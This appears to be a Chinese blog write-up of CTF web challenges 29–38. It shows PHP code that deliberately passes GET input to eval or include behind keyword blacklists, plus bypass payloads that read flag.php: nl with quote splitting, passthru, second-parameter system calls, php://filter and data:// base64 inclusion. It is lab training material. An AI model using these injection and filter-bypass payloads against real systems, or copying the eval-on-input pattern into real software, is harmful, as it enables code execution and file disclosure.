抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

web 29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){ //过滤flag,并不区分大小写。
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>

这里使用绕过过滤,需要了解一个nl命令。

nl命令读取 file 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。在输出中,nl命令根据您在命令行中指定的标志来计算左边的行。输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。除非使用-p选项,nl 命令在每个逻辑页开始的地方重新设置行号。可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。其默认的结果与cat -n有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐0等等的功能。 nl (选项) (参数)

使用nl打开文件

1
echo `nl fl''ag.php`

或者再用一个变量进行绕过。

1
/?c=system($_GET['a']);&a=nl flag.php;

web 30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){ //过滤了一个系统命令执行函数等。
eval($c);
}
}else{
highlight_file(__FILE__);
}

这一题比上一题多过滤了些关键词,但同样可以29题的方法。

除了system之外,我们还可以使用passthru

?c=passthru('ls')

?c=passthru("nl fl''ag.ph''p")

1
echo `nl fl''ag.p''hp`

也可以用一句话。

1
?c=eval($_GET[a])?>&a=system('cat flag.php');

web 31

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.co
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c); //过滤了cat、sort、shell、点号、空格、单引号等。过滤sort的原因似乎是因为其可以代替cat。
}
}else{
highlight_file(__FILE__);
}
?>

这里设置了更多的过滤,

1
/?c=eval($_GET[a])?>&a=system('cat flag.php');

除此之外还有其他的姿势。

show_source(next(array_reverse(scandir(pos(localeconv())))));

还不知道这时干啥的,不过显示的和通过菜刀连接显示的信息时一样的。

上述可以利用系统命令执行和增添变量


web 32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ //过滤了反引号、echo、;、、、左括号等
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>

这里过滤了太多的东西,之前用到的就不能再用了。

通过了解eval函数可以包含文件。

1
?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

得到flag。


web 33~36

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ //过滤了双引号、冒号、左尖括号、等于号、数字
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>

这里过滤了双引号,但是在密码里面是可以不加双引号的。

1
/?c=include$_GET[url]?>&url=php://filter/convert.base64-encode/resource=flag.php

web 37

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
?>

这一关同样是利用伪协议。

1
?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=

web 38

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){ //过滤了php和file但是并不影响我们使用上一题的方法。
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
?>

这一题同样可以使用上一题的做法

1
?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=

大多都是文件包含类的。

评论